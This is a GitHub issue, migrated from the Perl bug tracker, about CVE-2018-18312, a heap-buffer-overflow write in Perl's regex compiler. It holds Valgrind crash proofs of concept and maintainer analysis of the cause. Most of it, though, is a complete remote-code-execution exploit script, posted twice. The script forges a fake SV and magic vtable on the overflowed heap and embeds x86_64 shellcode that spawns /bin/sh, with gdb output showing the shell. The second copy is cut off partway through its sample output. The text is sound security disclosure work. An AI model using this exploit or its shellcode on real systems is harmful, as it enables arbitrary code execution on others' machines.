Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CVE-2018-18312] regcomp: heap-buffer-overflow write / reg_node overrun (perl-5.28.0, 5.26.2) #16649

Closed
p5pRT opened this issue Aug 4, 2018 · 31 comments

Comments

@p5pRT
Copy link
Collaborator

@p5pRT p5pRT commented Aug 4, 2018

Migrated from rt.perl.org#133423 (status was 'resolved')

Searchable as RT133423$

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Aug 4, 2018

From @Etsukata

# Summary

- a crafted regular expression can cause heap-buffer-overflow write during
compilation

# Affected Versions

- 5.29.1
- 5.28.0
- 5.26.2

# PoC

- 5.28.0
```
$ valgrind --leak-check=no perl -le 'my $r =
"(?[(?-​:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80])R.\\670"; qr/$r/'

==6867== Memcheck, a memory error detector
==6867== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==6867== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==6867== Command​: perl -le my\ $r\ =\
"(?[(?-​:(?[\\\\\\x00]))\\\\]\\x00|2[^^]\\x80\\x80\\x80\\x80])R.\\\\670";\
qr/$r/
==6867==
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?-​:(?[\]))\]|2[^^]????])R.\670/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?-​:(?[ <-- HERE \]))\]|2[^^]????])R.\670/ at -e line 1.
==6867== Invalid write of size 1
==6867== at 0x4C13FD​: S_regatom (regcomp.c​:14041)
==6867== by 0x4C48A8​: S_regpiece (regcomp.c​:12003)
==6867== by 0x4C48A8​: S_regbranch (regcomp.c​:11931)
==6867== by 0x4B3A02​: S_reg (regcomp.c​:11708)
==6867== by 0x4D6160​: Perl_re_op_compile (regcomp.c​:7434)
==6867== by 0x58549B​: Perl_pp_regcomp (pp_ctl.c​:110)
==6867== by 0x4DD269​: Perl_runops_debug (dump.c​:2536)
==6867== by 0x4543AD​: S_run_body (perl.c​:2694)
==6867== by 0x4543AD​: perl_run (perl.c​:2617)
==6867== by 0x41FA49​: main (perlmain.c​:122)
==6867== Address 0x7d36680 is 0 bytes after a block of size 160 alloc'd
==6867== at 0x4C2EBAB​: malloc (vg_replace_malloc.c​:299)
==6867== by 0x4E6400​: Perl_safesysmalloc (util.c​:153)
==6867== by 0x4D598D​: Perl_re_op_compile (regcomp.c​:7280)
==6867== by 0x58549B​: Perl_pp_regcomp (pp_ctl.c​:110)
==6867== by 0x4DD269​: Perl_runops_debug (dump.c​:2536)
==6867== by 0x4543AD​: S_run_body (perl.c​:2694)
==6867== by 0x4543AD​: perl_run (perl.c​:2617)
==6867== by 0x41FA49​: main (perlmain.c​:122)
==6867==
panic​: reg_node overrun trying to emit 0, 7d36684>=7d3667c at -e line 1.
==6867==
==6867== HEAP SUMMARY​:
==6867== in use at exit​: 154,595 bytes in 670 blocks
==6867== total heap usage​: 950 allocs, 280 frees, 200,836 bytes allocated
==6867==
==6867== For a detailed leak analysis, rerun with​: --leak-check=full
==6867==
==6867== For counts of detected and suppressed errors, rerun with​: -v
==6867== ERROR SUMMARY​: 1 errors from 1 contexts (suppressed​: 0 from 0)
```

- 5.26.2
```
$ valgrind --leak-check=no perl -le 'my $r =
"(?[(?-​:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80])R.\\670"; qr/$r/'
==19854== Memcheck, a memory error detector
==19854== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==19854== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==19854== Command​: perl -le my\ $r\ =\
"(?[(?-​:(?[\\\\\\x00]))\\\\]\\x00|2[^^]\\x80\\x80\\x80\\x80])R.\\\\670";\
qr/$r/
==19854==
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?-​:(?[\]))\]|2[^^]????])R.\670/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?-​:(?[ <-- HERE \]))\]|2[^^]????])R.\670/ at -e line 1.
==19854== Invalid write of size 1
==19854== at 0x5D9544​: Perl_uvoffuni_to_utf8_flags (utf8.c​:154)
==19854== by 0x4BAB11​: S_regatom (regcomp.c​:13493)
==19854== by 0x4BC535​: S_regpiece (regcomp.c​:11673)
==19854== by 0x4BC535​: S_regbranch (regcomp.c​:11598)
==19854== by 0x4ADBF8​: S_reg (regcomp.c​:11385)
==19854== by 0x4D1531​: Perl_re_op_compile (regcomp.c​:7313)
==19854== by 0x57D4AE​: Perl_pp_regcomp (pp_ctl.c​:108)
==19854== by 0x4D8231​: Perl_runops_debug (dump.c​:2451)
==19854== by 0x454455​: S_run_body (perl.c​:2532)
==19854== by 0x454455​: perl_run (perl.c​:2455)
==19854== by 0x421B89​: main (perlmain.c​:123)
==19854== Address 0x6029970 is 0 bytes after a block of size 160 alloc'd
==19854== at 0x4C2EBAB​: malloc (vg_replace_malloc.c​:299)
==19854== by 0x4E1130​: Perl_safesysmalloc (util.c​:153)
==19854== by 0x4D0E0C​: Perl_re_op_compile (regcomp.c​:7159)
==19854== by 0x57D4AE​: Perl_pp_regcomp (pp_ctl.c​:108)
==19854== by 0x4D8231​: Perl_runops_debug (dump.c​:2451)
==19854== by 0x454455​: S_run_body (perl.c​:2532)
==19854== by 0x454455​: perl_run (perl.c​:2455)
==19854== by 0x421B89​: main (perlmain.c​:123)
==19854==
panic​: reg_node overrun trying to emit 0, 6029974>=602996c at -e line 1.
==19854==
==19854== HEAP SUMMARY​:
==19854== in use at exit​: 124,573 bytes in 663 blocks
==19854== total heap usage​: 938 allocs, 275 frees, 169,419 bytes allocated
==19854==
==19854== For a detailed leak analysis, rerun with​: --leak-check=full
==19854==
==19854== For counts of detected and suppressed errors, rerun with​: -v
==19854== ERROR SUMMARY​: 1 errors from 1 contexts (suppressed​: 0 from 0)
```

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Aug 15, 2018

From @khwilliamson

I suspect this is a serious security issue. One can position where beyond the end of buffer gets written by adding \x80's to the ones already there. But I'd be happy to be wrong about this.

The cause is one branch during the parsing leaves the parse pointer positioned one too far, and that causes the backslash to be skipped during pass2, which causes a ']' to be treated as a metacharacter instead of a literal.

The fix is to remove the single line that incorrectly increments the parse pointer.
I don't know that this being an experimental feature has any bearing on it.

There is another thing. The minus sign in this case could have been caught as incorrect. But the same out-of-bounds writes would occur if a '^' replaced the minus, and that would be a correct use.

Karl Williamson

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Aug 15, 2018

The RT System itself - Status changed from 'new' to 'open'

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Aug 16, 2018

From @khwilliamson

Resending this as it did not make it to the list​:

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

I suspect this is a serious security issue. One can position where
beyond the end of buffer gets written by adding \x80's to the ones
already there. But I'd be happy to be wrong about this.

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Karl Williamson

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Aug 27, 2018

From @Etsukata

The following code generates a regexp which executes arbitrary command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on overwritten
heap which has the malicious svt_free(shell_code) on its magic vtable.

Limitations​:

  - must set `execstack -s` to perl
  - require address leak(exact address of overwritten heap)

```
#!/usr/bin/perl

#
# RCE exploit PoC for
# [perl #133423] regcomp​: heap-buffer-overflow write
# on perl-blead-48ae8dc
#

use strict;
use warnings;

# 0xabcd => '\xcd\xab\x00\x00\x00\x00\x00\x00'
sub h2s {
  my $h = shift;
  my $sz = shift;
  my $ret = '';
  for (0..($sz - 1)) {
  $ret .= sprintf("\\x%02x", (($h >> (8 * $_)) & 0xff));
  }
  return $ret
}

# must set `execstack -s` to perl
my $cmd = 'gdb -q --args ~/perl5/perlbrew/perls/perl-blead-debug/bin/perl
-DorD -le ';
my $prefix = '\'my $r = "(?[(?x​:(?[\\\\a]))\\\\]a\x00';

my $address = 0xa34c7d; # overwrite start address
  # search with​:
  # (gdb) b regcomp.c​:14044
  # (gdb) p s
  # [CAUTION] must not contain ']' (0x5d)
  #
my $sv_any_address = $address + 8 + 4 + 4 + 8;
my $stash_address = $sv_any_address + 8 + 8;
my $stash_address2 = $stash_address + 8 + 4 + 4;
my $magic_address = $stash_address + 8 + 4 + 4 + 8 + 8 + 8 + 19 + 8;
my $mg_virtual_address = $magic_address + 8 + 8 + 2 + 1 + 1 + 8 + 8 + 8;
my $shell_code_address = $mg_virtual_address + 8 + 8 + 8 + 8 + 8;

my $body =
# sv($address)
  h2s($sv_any_address, 8)
. h2s(0x01, 4) # sv_refcnt
. h2s(0x100007, 4) # sv_flags (SVt_PVMG || SVs_OBJECT)
. h2s(0x00, 8) # sv->sv_u.svu_pv
# any($sv_any_address)
. h2s($stash_address, 8) # HV* xmg_stash
. h2s($magic_address, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)

# xmg_stash($stash_address)
. h2s($stash_address2, 8) # sv_any
. h2s(0x01, 4) # sv_refcnt
. h2s(0x0c, 4) # sv_flags (SVt_PVHV)
# any($stash_address2)
. h2s(0x00, 8) # HV* xmg_stash
. h2s($magic_address, 8) # union _xmgu xmg_u (MAGIC* xmg_magic)
. h2s(0x00, 8) # padding

. '" . "a" x 19 . "' # padding
. h2s($address, 8) # OVERWRITE gvp

# xmg_magic($magic_address)
. h2s(0x00, 8) # MAGIC* mg_moremagic;
. h2s($mg_virtual_address, 8) # MGVTBL* mg_virtual /* pointer to magic
functions */
. h2s(0x00, 2) # U16 mg_private;
. h2s(0x00, 1) # char mg_type;
. h2s(0x00, 1) # U8 mg_flags;
. h2s(0x00, 8) # SSize_t mg_len;
. h2s(0x00, 8) # SV* mg_obj;
. h2s(0x00, 8) # char* mg_ptr;

# mg_virual($mg_virtual_address)
. h2s(0x00, 8) # int (*svt_get) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_set) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # U32 (*svt_len) (pTHX_ SV *sv, MAGIC*
mg);
. h2s(0x00, 8) # int (*svt_clear)(pTHX_ SV *sv, MAGIC* mg);
. h2s($shell_code_address, 8) # int (*svt_free) (pTHX_ SV *sv, MAGIC*
mg);

# x86_64 shell_code
.
'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

. '])a\\\\6"; qr/$r/\'';

my $payload = $prefix . $body;

print $cmd . $payload . "\n";
```

Sample output

```
[eiichi@​x1 exploit]$ perl perl_regexp_mg_free.pl
gdb -q --args ~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le
'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
[eiichi@​x1 exploit]$ gdb -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le 'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
Reading symbols from
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl...done.
(gdb) b regcomp.c​:14044
Breakpoint 1 at 0x4cb38d​: file regcomp.c, line 14044.
(gdb) run
Starting program​:
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le my\
\$r\ =\
\"\(\?\[\(\?x​:\(\?\[\\\\a\]\)\)\\\\\]a\\x00\\x95\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\xb5\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\
.\ \"a\"\ x\ 19\ .\
\"\\x7d\\x4c\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3c\\x4d\\xa3\\x00\\x00\\x00\\x00\\x00\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x48\\x8d\\x42\\x3b\\x0f\\x05\]\)a\\\\6\"\;\
qr/\$r/
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
warning​: Loadable section ".note.gnu.property" outside of ELF segments
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:0) sv_upgrade clearing PL_stashcache
(-e​:2) Looking for DESTROY method for IO​::File
(-e​:2) Looking for method DESTROY in package IO​::File
(-e​:2) Looking for method DESTROY in package UNIVERSAL
(-e​:2) Looking for method AUTOLOAD in package IO​::File
(-e​:2) Looking for method AUTOLOAD in package UNIVERSAL
(-e​:2) Set cached DESTROY method 0 for IO​::File
Enabling $` $& $' support (0x7).

EXECUTING...

Compiling REx
"(?[(?x​:(?[\a]))\]a%0%x{95}L%x{a3}%0%0%0%0%0%1%0%0%0%7%0%20%0"...
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[ <-- HERE (?x​:(?[\a]))\]a?L??L???L?

?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.
The regex_sets feature is experimental in regex; marked by <-- HERE in
m/(?[(?x​:(?[ <-- HERE \a]))\]a?L??L???L?

?aaaaaaaaaaaaaaaaaaa}L?M?<M?H1H?/bin//shPH?WH??B;])a\6/ at -e line 1.

Breakpoint 1, S_regatom (pRExC_state=pRExC_state@​entry=0x7fffffffcd40,
flagp=flagp@​entry=0x7fffffffca24,
  depth=depth@​entry=4) at regcomp.c​:14044
14044 *(s)++ = (U8) ender;
Missing separate debuginfos, use​: dnf debuginfo-install
keyutils-libs-1.5.10-6.fc28.x86_64 krb5-libs-1.16.1-13.fc28.x86_64
libcom_err-1.44.2-0.fc28.x86_64
libnsl2-1.2.0-2.20180605git4a062cf.fc28.x86_64 libselinux-2.8-1.fc28.x86_64
libtirpc-1.0.3-3.rc2.fc28.x86_64 libxcrypt-4.1.1-4.fc28.x86_64
openssl-libs-1.1.0h-3.fc28.x86_64 pcre2-10.31-8.fc28.x86_64
zlib-1.2.11-8.fc28.x86_64
(gdb) p s
$1 = 0xa34c7d ""
(gdb) b S_mg_free_struct
Breakpoint 2 at 0x4f0620​: file mg.c, line 556.
(gdb) dis br 1
(gdb) c
Continuing.
panic​: reg_node overrun trying to emit 0, a34d5c>=a34c8c at -e line 1.
Cleaning named glob SV object​:
SV = PVMG(0xa34c95) at 0xa34c7d
  REFCNT = 1
  FLAGS = (OBJECT)
  IV = 0
  NV = 5.28751820946919e-317
  PV = 0
  MAGIC = 0xa34ce8
  MG_VIRTUAL = 0xa34d14
  MG_TYPE = PERL_MAGIC_sv(\0)
  STASH = 0xa34ca5

Breakpoint 2, S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at
mg.c​:556
556 const MGVTBL* const vtbl = mg->mg_virtual;
(gdb) bt
#0 S_mg_free_struct (sv=sv@​entry=0xa34ca5, mg=0xa34ce8) at mg.c​:556
#1 0x00000000004f1153 in Perl_mg_free (sv=sv@​entry=0xa34ca5) at mg.c​:588
#2 0x0000000000527d9e in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34ca5) at
sv.c​:6539
#3 0x0000000000528784 in Perl_sv_free2 (sv=0xa34ca5, rc=<optimized out>)
at sv.c​:7038
#4 0x00000000005273ec in S_SvREFCNT_dec (sv=<optimized out>) at
inline.h​:216
#5 S_curse (sv=sv@​entry=0xa34c7d, check_refcnt=check_refcnt@​entry=true) at
sv.c​:6970
#6 0x000000000052783a in Perl_sv_clear (orig_sv=orig_sv@​entry=0xa34c7d) at
sv.c​:6531
#7 0x0000000000528784 in Perl_sv_free2 (sv=sv@​entry=0xa34c7d,
rc=<optimized out>) at sv.c​:7038
#8 0x0000000000528c48 in S_SvREFCNT_dec_NN (sv=0xa34c7d) at inline.h​:227
#9 do_clean_named_objs (sv=sv@​entry=0xa2e958) at sv.c​:560
#10 0x0000000000524a07 in S_visit (f=0x5288b0 <do_clean_named_objs>,
flags=32777, mask=49407) at sv.c​:476
#11 0x00000000005292b0 in Perl_sv_clean_objs () at sv.c​:631
#12 0x000000000044ef00 in perl_destruct (my_perl=<optimized out>) at
perl.c​:908
#13 0x000000000041fb74 in main (argc=<optimized out>, argv=<optimized out>,
env=<optimized out>) at perlmain.c​:133
(gdb) c
Continuing.
process 13359 is executing new program​: /usr/bin/bash
Error in re-setting breakpoint 2​: Function "S_mg_free_struct" not defined.
sh-4.4$ date
Detaching after fork from child process 13509.
Mon Aug 27 22​:04​:46 JST 2018
```

2018-08-16 12​:52 GMT+09​:00 Karl Williamson via RT <
perl5-security-report-followup@​perl.org>​:

Resending this as it did not make it to the list​:

On Wed, 15 Aug 2018 11​:01​:24 -0700, khw wrote​:

I suspect this is a serious security issue. One can position where
beyond the end of buffer gets written by adding \x80's to the ones
already there. But I'd be happy to be wrong about this.

The cause is one branch during the parsing leaves the parse pointer
positioned one too far, and that causes the backslash to be skipped
during pass2, which causes a ']' to be treated as a metacharacter
instead of a literal.

The fix is to remove the single line that incorrectly increments the
parse pointer.
I don't know that this being an experimental feature has any bearing
on it.

There is another thing. The minus sign in this case could have been
caught as incorrect. But the same out-of-bounds writes would occur if
a '^' replaced the minus, and that would be a correct use.

Karl Williamson

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Aug 30, 2018

From @khwilliamson

On 08/27/2018 07​:16 AM, Eiichi Tsukata wrote​:

The following code generates a regexp which executes arbitrary command
during global destruction.
It overwrites some SV pointer address to a crafted fake SV on
overwritten heap which has the malicious svt_free(shell_code) on its
magic vtable.

Limitations​:

  - must set `execstack -s` to perl
  - require address leak(exact address of overwritten heap)

Shouldn't this be getting a CVE?

```
#!/usr/bin/perl

#
# RCE exploit PoC for
#   [perl #133423] regcomp​: heap-buffer-overflow write
# on perl-blead-48ae8dc
#

use strict;
use warnings;

# 0xabcd => '\xcd\xab\x00\x00\x00\x00\x00\x00'
sub h2s {
    my $h = shift;
    my $sz = shift;
    my $ret = '';
    for (0..($sz - 1)) {
        $ret .= sprintf("\\x%02x", (($h >> (8 * $_)) & 0xff));
    }
    return $ret
}

# must set `execstack -s` to perl
my $cmd = 'gdb -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le ';
my $prefix = '\'my $r = "(?[(?x​:(?[\\\\a]))\\\\]a\x00';

my $address = 0xa34c7d; # overwrite start address
                        # search with​:
                        #   (gdb) b regcomp.c​:14044
                        #   (gdb) p s
                        # [CAUTION] must not contain ']' (0x5d)
                        #
my $sv_any_address     = $address + 8 + 4 + 4 + 8;
my $stash_address      = $sv_any_address + 8 + 8;
my $stash_address2     = $stash_address + 8 + 4 + 4;
my $magic_address      = $stash_address + 8 + 4 + 4 + 8 + 8 + 8 + 19 + 8;
my $mg_virtual_address = $magic_address + 8 + 8 + 2 + 1 + 1 + 8 + 8 + 8;
my $shell_code_address = $mg_virtual_address + 8 + 8 + 8 + 8 + 8;

my $body =
# sv($address)
  h2s($sv_any_address, 8)
. h2s(0x01, 4)                # sv_refcnt
. h2s(0x100007, 4)            # sv_flags (SVt_PVMG || SVs_OBJECT)
. h2s(0x00, 8)                # sv->sv_u.svu_pv
# any($sv_any_address)
. h2s($stash_address, 8)      # HV* xmg_stash
. h2s($magic_address, 8)      # union _xmgu xmg_u (MAGIC* xmg_magic)

# xmg_stash($stash_address)
. h2s($stash_address2, 8)     # sv_any
. h2s(0x01, 4)                # sv_refcnt
. h2s(0x0c, 4)                # sv_flags (SVt_PVHV)
# any($stash_address2)
. h2s(0x00, 8)                # HV* xmg_stash
. h2s($magic_address, 8)      # union _xmgu xmg_u (MAGIC* xmg_magic)
. h2s(0x00, 8)                # padding

. '" . "a" x 19 . "'          # padding
. h2s($address, 8)            # OVERWRITE gvp

# xmg_magic($magic_address)
. h2s(0x00, 8)                # MAGIC* mg_moremagic;
. h2s($mg_virtual_address, 8) # MGVTBL* mg_virtual  /* pointer to magic
functions */
. h2s(0x00, 2)                # U16         mg_private;
. h2s(0x00, 1)                # char        mg_type;
. h2s(0x00, 1)                # U8          mg_flags;
. h2s(0x00, 8)                # SSize_t     mg_len;
. h2s(0x00, 8)                # SV*         mg_obj;
. h2s(0x00, 8)                # char*       mg_ptr;

# mg_virual($mg_virtual_address)
. h2s(0x00, 8)                # int  (*svt_get)      (pTHX_ SV *sv,
MAGIC* mg);
. h2s(0x00, 8)                # int  (*svt_set)      (pTHX_ SV *sv,
MAGIC* mg);
. h2s(0x00, 8)                # U32  (*svt_len)      (pTHX_ SV *sv,
MAGIC* mg);
. h2s(0x00, 8)                # int  (*svt_clear)(pTHX_ SV *sv, MAGIC* mg);
. h2s($shell_code_address, 8) # int  (*svt_free)     (pTHX_ SV *sv,
MAGIC* mg);

# x86_64 shell_code
.
'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

. '])a\\\\6"; qr/$r/\'';

my $payload = $prefix . $body;

print $cmd . $payload . "\n";
```

Sample output

```
[eiichi@​x1 exploit]$ perl perl_regexp_mg_free.pl
<http​://perl_regexp_mg_free.pl>
gdb -q --args ~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le
'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
[eiichi@​x1 exploit]$ gdb -q --args
~/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le 'my $r =
"(?[(?x​:(?[\\a]))\\]a\x00\x95\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\x4c\xa3\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\xb5\x4c\xa3\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
. "a" x 19 .
"\x7d\x4c\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x4d\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\xa3\x00\x00\x00\x00\x00\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05])a\\6";
qr/$r/'
Reading symbols from
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl...done.
(gdb) b regcomp.c​:14044
Breakpoint 1 at 0x4cb38d​: file regcomp.c, line 14044.
(gdb) run
Starting program​:
/home/eiichi/perl5/perlbrew/perls/perl-blead-debug/bin/perl -DorD -le
my\ \$r\ =\
